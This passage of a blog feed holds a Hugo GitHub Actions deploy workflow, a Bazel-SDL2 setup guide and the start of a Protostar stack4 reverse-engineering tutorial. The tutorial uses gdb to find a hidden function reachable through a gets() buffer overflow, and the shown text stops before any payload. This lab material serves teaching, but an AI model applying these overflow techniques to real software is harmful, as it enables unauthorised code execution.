&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# This action is provided by Github. It checksout the repository along with submodules&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# for the hugo theme I use&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;uses&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;actions/checkout@v1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;with&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;submodules&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# This action downloads the latest hugu&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;Setup Hugo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;uses&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;peaceiris/actions-hugo@v2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;with&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;hugo-version&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#39;latest&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Run hugo to generate the site and minify css/js etc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;Build&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;run&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;hugo --minify&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Publish the website to the designated github pages repository&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# ACTIONS_DEPLOY_KEY uses our deploy key to publish since the action in source repository&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# does not have access permissions to other repositories by default&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# EXTERNAL_REPOSITORY param is used to specify the github pages repository, otherwise by default&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# this action publishes to current repository itself&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# PUBLISH_BRANCH specifies the branch which is set to serve GitHub Pages&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# PUBLISH_DIR is the dir where hugo generates the site contents&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;Deploy&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;uses&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;peaceiris/actions-gh-pages@v2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;env&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;ACTIONS_DEPLOY_KEY&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;${{ secrets.ACTIONS_DEPLOY_KEY }}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;EXTERNAL_REPOSITORY&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;shantanugoel/shantanugoel.com&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;PUBLISH_BRANCH&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;master&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;PUBLISH_DIR&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;./public&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Now, anytime you commit and push a change to your source repository, it will be live on your destination within a minute or so.&lt;/li&gt;
&lt;/ul&gt;</content></item><item><title>Integrating SDL2 with bazel on macOS</title><link>https://shantanugoel.com/2019/12/31/sdl2-macos-bazel/</link><pubDate>Tue, 31 Dec 2019 02:01:05 +0530</pubDate><guid>https://shantanugoel.com/2019/12/31/sdl2-macos-bazel/</guid><description>&lt;h2 id="bazel"&gt;Bazel&lt;/h2&gt;
&lt;p&gt;Came across &lt;a href="https://bazel.build/"&gt;bazel&lt;/a&gt; build system recently at my new job and found it to be quite nice compared to my earlier mainstays CMake and Make. It&amp;rsquo;s fast and correct, just as their website says. But I also liked it because it&amp;rsquo;s explicit with very little magic. And it has a powerful query/tools system that allows you to really analyze your builds and dependencies in depth. Though examples in the wild are a bit less since it is a fairly recent entrant compared to its competitors. For a personal side project, I needed to use SDL2 and it was the first time I had to use an external/pre-built library with bazel. This post documents the process I used for my own future reference and may be help some other lost soul like me. Although, the post talks about SDL2 here specifically, the same process can be used for most other external pre-compiled modules.&lt;/p&gt;</description><content>&lt;h2 id="bazel"&gt;Bazel&lt;/h2&gt;
&lt;p&gt;Came across &lt;a href="https://bazel.build/"&gt;bazel&lt;/a&gt; build system recently at my new job and found it to be quite nice compared to my earlier mainstays CMake and Make. It&amp;rsquo;s fast and correct, just as their website says. But I also liked it because it&amp;rsquo;s explicit with very little magic. And it has a powerful query/tools system that allows you to really analyze your builds and dependencies in depth. Though examples in the wild are a bit less since it is a fairly recent entrant compared to its competitors. For a personal side project, I needed to use SDL2 and it was the first time I had to use an external/pre-built library with bazel. This post documents the process I used for my own future reference and may be help some other lost soul like me. Although, the post talks about SDL2 here specifically, the same process can be used for most other external pre-compiled modules.&lt;/p&gt;
&lt;h2 id="download--install-libsdl"&gt;Download / Install libsdl&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Download the latest MacOS dmg file from &lt;a href="http://libsdl.org/download-2.0.php"&gt;LibSDL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Double click the downloaded dmg file&lt;/li&gt;
&lt;li&gt;Copy the &lt;code&gt;SDL2.framework&lt;/code&gt; folder over to &lt;code&gt;/Library/Frameworks&lt;/code&gt; path&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="make-bazel-aware-of-existence-of-sdl2"&gt;Make bazel aware of existence of SDL2&lt;/h2&gt;
&lt;p&gt;Update your &lt;code&gt;WORKSPACE&lt;/code&gt; file (resides at the root of your project) with below content. This is important because bazel does all the build steps in a sandbox and one cannot depend on anything outside this sandbox. This step allows bazel to make the content present at this path available to the sandbox as a bazel repository.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;new_local_repository(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;sdl2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; path &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;/Library/Frameworks/SDL2.framework&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; build_file &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;external/sdl.build&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="set-up-your-sdl-library-to-be-usable-by-other-modules-in-your-project"&gt;Set up your SDL library to be usable by other modules in your project&lt;/h2&gt;
&lt;p&gt;Note the &lt;code&gt;build_file&lt;/code&gt; parameter. This tells bazel how to use this repository. This can be anything according to what you want, the path being relative to the project root. Considering the above example, create a new directory &lt;code&gt;external&lt;/code&gt; in the root of your project and add a new file &lt;code&gt;sdl.BUILD&lt;/code&gt; to it with below content.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;load(&lt;span style="color:#e6db74"&gt;&amp;#34;@rules_cc//cc:defs.bzl&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;cc_library&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cc_library(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;sdl2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hdrs &lt;span style="color:#f92672"&gt;=&lt;/span&gt; glob([&lt;span style="color:#e6db74"&gt;&amp;#34;Headers/*.h&amp;#34;&lt;/span&gt;]),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; includes &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;Header&amp;#34;&lt;/span&gt;], &lt;span style="color:#75715e"&gt;# Optional. &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; visibility &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;//visibility:public&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This ensures that now your other modules can depend on SDL2 using &lt;code&gt;@sdl2&lt;/code&gt;. The visibility option can be tweaked as per individual needs.&lt;/p&gt;
&lt;h2 id="use-sdl2"&gt;Use SDL2&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;BUILD&lt;/code&gt; file of the module where you want to use SDL2 with below contents.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;load(&lt;span style="color:#e6db74"&gt;&amp;#34;@rules_cc//cc:defs.bzl&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;cc_library&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cc_library(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;some_module&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; srcs &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;some_source.cc&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Optional: copts can be avoided if includes was set in sdl.BUILD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; copts &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;-Iexternal/sdl2/Headers&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; linkopts &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;-F/Library/Frameworks&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;-framework SDL2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; deps &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;@sdl2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The important portions here are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;copts&lt;/code&gt;: To let bazel know where to search for SDL2 header files. Note that the path here is relative to project root.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;linkopts&lt;/code&gt;: Need the &lt;code&gt;-F&lt;/code&gt; option to let compiler know where to search for the framework files and &lt;code&gt;-framework&lt;/code&gt; option as usual to link to ZSDL2. The path with &lt;code&gt;-F&lt;/code&gt; can be absolute one. Not sure why this is not restricted by the sandbox. Investigating this currently.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;deps&lt;/code&gt;: Finally, create the explicit dependency on your sdl2 module by referring to it as &lt;code&gt;@sdl2&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By now, the project is ready to be compiled and linked.&lt;/p&gt;</content></item><item><title>Practical Reverse Engineering Tutorials Part 2: Protostar Stack4</title><link>https://shantanugoel.com/2017/12/04/practical-reverse-engineering-tutorial-2-protostar-stack4/</link><pubDate>Mon, 04 Dec 2017 21:04:24 +0530</pubDate><guid>https://shantanugoel.com/2017/12/04/practical-reverse-engineering-tutorial-2-protostar-stack4/</guid><description>&lt;h2 id="about-the-challenge"&gt;About the challenge&lt;/h2&gt;
&lt;p&gt;In this article, we&amp;rsquo;ll go through the &lt;a href="https://exploit-exercises.com/protostar/stack4/"&gt;Protostar stack4&lt;/a&gt; challenge. This would be a bit similar to the stack0 challenge that we already tackled earlier, but it will think about an interesting way to get alternate code to execute instead of just modifying data.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pre-requisite:&lt;/strong&gt; Make sure you&amp;rsquo;ve completed the &lt;a href="https://shantanugoel.com/2017/11/16/practical-reverse-engineering-tutorial-1/"&gt;Part 1&lt;/a&gt; of the Practical Reverse Engineering Tutorials series. It&amp;rsquo;d also be great if you can try stack1-stack3 challenges on your own as they are similar to stack0.&lt;/p&gt;</description><content>&lt;h2 id="about-the-challenge"&gt;About the challenge&lt;/h2&gt;
&lt;p&gt;In this article, we&amp;rsquo;ll go through the &lt;a href="https://exploit-exercises.com/protostar/stack4/"&gt;Protostar stack4&lt;/a&gt; challenge. This would be a bit similar to the stack0 challenge that we already tackled earlier, but it will think about an interesting way to get alternate code to execute instead of just modifying data.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pre-requisite:&lt;/strong&gt; Make sure you&amp;rsquo;ve completed the &lt;a href="https://shantanugoel.com/2017/11/16/practical-reverse-engineering-tutorial-1/"&gt;Part 1&lt;/a&gt; of the Practical Reverse Engineering Tutorials series. It&amp;rsquo;d also be great if you can try stack1-stack3 challenges on your own as they are similar to stack0.&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;p&gt;Assuming you&amp;rsquo;ve done the setup as needed for Part 1 of this series, we straight away jump to run the challenge to see what we are after.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user@protostar:/opt/protostar/bin$ ./stack4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ABCD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user@protostar:/opt/protostar/bin$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So, we see that the program asks for some user input. When we input &amp;lsquo;ABCD&amp;rsquo;, nothing happens. That&amp;rsquo;s a bummer. We need to move to the static analysis to map out our next actions. Remember, it might be easier to look at the source code of the challenge (and it will also not give much away) but we&amp;rsquo;ll still try to avoid source code as much as possible to give more exercise to our brains.&lt;/p&gt;
&lt;h2 id="static-analysis"&gt;Static Analysis&lt;/h2&gt;
&lt;p&gt;We first run our staple &lt;code&gt;strings&lt;/code&gt; on the program to list interesting text data.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user@protostar:/opt/protostar/bin$ strings stack4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/lib/ld-linux.so.2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;__gmon_start__
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;libc.so.6
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;_IO_stdin_used
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gets
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;puts
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;__libc_start_main
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GLIBC_2.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PTRh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;^_&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;code flow successfully changed
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user@protostar:/opt/protostar/bin$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We see a potentially useful string &lt;code&gt;code flow successfully changed&lt;/code&gt; straight away. I&amp;rsquo;d wager a guess that we&amp;rsquo;ve to get our currently dumb program to emit this string somehow. Let&amp;rsquo;s see what is the condition under which this string is being printed. So we bring out gdb like last time and check the disassembled code of main function.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user@protostar:/opt/protostar/bin$ gdb stack4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GNU gdb &lt;span style="color:#f92672"&gt;(&lt;/span&gt;GDB&lt;span style="color:#f92672"&gt;)&lt;/span&gt; 7.0.1-debian
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Copyright &lt;span style="color:#f92672"&gt;(&lt;/span&gt;C&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2009&lt;/span&gt; Free Software Foundation, Inc.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;License GPLv3+: GNU GPL version &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;This is free software: you are free to change and redistribute it.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;There is NO WARRANTY, to the extent permitted by law. Type &lt;span style="color:#e6db74"&gt;&amp;#34;show copying&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;and &lt;span style="color:#e6db74"&gt;&amp;#34;show warranty&amp;#34;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; details.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;This GDB was configured as &lt;span style="color:#e6db74"&gt;&amp;#34;i486-linux-gnu&amp;#34;&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;For bug reporting instructions, please see:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;http://www.gnu.org/software/gdb/bugs/&amp;gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Reading symbols from /opt/protostar/bin/stack4...done.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; set disassembly-flavor intel
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; disassemble main
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dump of assembler code &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; main:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048408 &amp;lt;main+0&amp;gt;: push ebp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048409 &amp;lt;main+1&amp;gt;: mov ebp,esp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x0804840b &amp;lt;main+3&amp;gt;: and esp,0xfffffff0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x0804840e &amp;lt;main+6&amp;gt;: sub esp,0x50
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048411 &amp;lt;main+9&amp;gt;: lea eax,&lt;span style="color:#f92672"&gt;[&lt;/span&gt;esp+0x10&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048415 &amp;lt;main+13&amp;gt;: mov DWORD PTR &lt;span style="color:#f92672"&gt;[&lt;/span&gt;esp&lt;span style="color:#f92672"&gt;]&lt;/span&gt;,eax
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048418 &amp;lt;main+16&amp;gt;: call 0x804830c &amp;lt;gets@plt&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x0804841d &amp;lt;main+21&amp;gt;: leave
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x0804841e &amp;lt;main+22&amp;gt;: ret
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;End of assembler dump.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That&amp;rsquo;s interesting. So there&amp;rsquo;s no way main can print the string we&amp;rsquo;re after because there&amp;rsquo;s no print/puts call in here. Interestingly, main makes only one function call to &lt;code&gt;gets&lt;/code&gt; to get user input and there&amp;rsquo;s no other function being called at all. This would mean that the string is being printed from somewhere else and our challenge is to get that code executed. We know from the previous challenge we solved that to print this string, the program would need to pass a pointer to it as a parameter to a output function (like &lt;code&gt;puts&lt;/code&gt;). So to find that where this string is getting printed from, we&amp;rsquo;ve to first the address where this string is located and then search for reference to it.&lt;/p&gt;
&lt;p&gt;You may know that there are various sections in an executable file. Generally, the executable portion is part of a section called &lt;code&gt;.text&lt;/code&gt; and literal strings are part of a section called &lt;code&gt;.rodata&lt;/code&gt;. So, our technique here would be to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Get the section addresses (Using &lt;code&gt;maintenance info sections&lt;/code&gt; gdb command)&lt;/li&gt;
&lt;li&gt;Search for the string&amp;rsquo;s address in .rodata section (using &lt;code&gt;find &amp;lt;section_start_address&amp;gt; &amp;lt;section_end_address&amp;gt; &amp;lt;string&amp;gt;&lt;/code&gt; gdb command)&lt;/li&gt;
&lt;li&gt;Search for a reference to the string&amp;rsquo;s address in .text section (using &lt;code&gt;find &amp;lt;section_start_address&amp;gt; &amp;lt;section_end_address&amp;gt; &amp;lt;string_address&amp;gt;&lt;/code&gt; gdb command)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is shown below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; maintenance info sections
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Exec file:
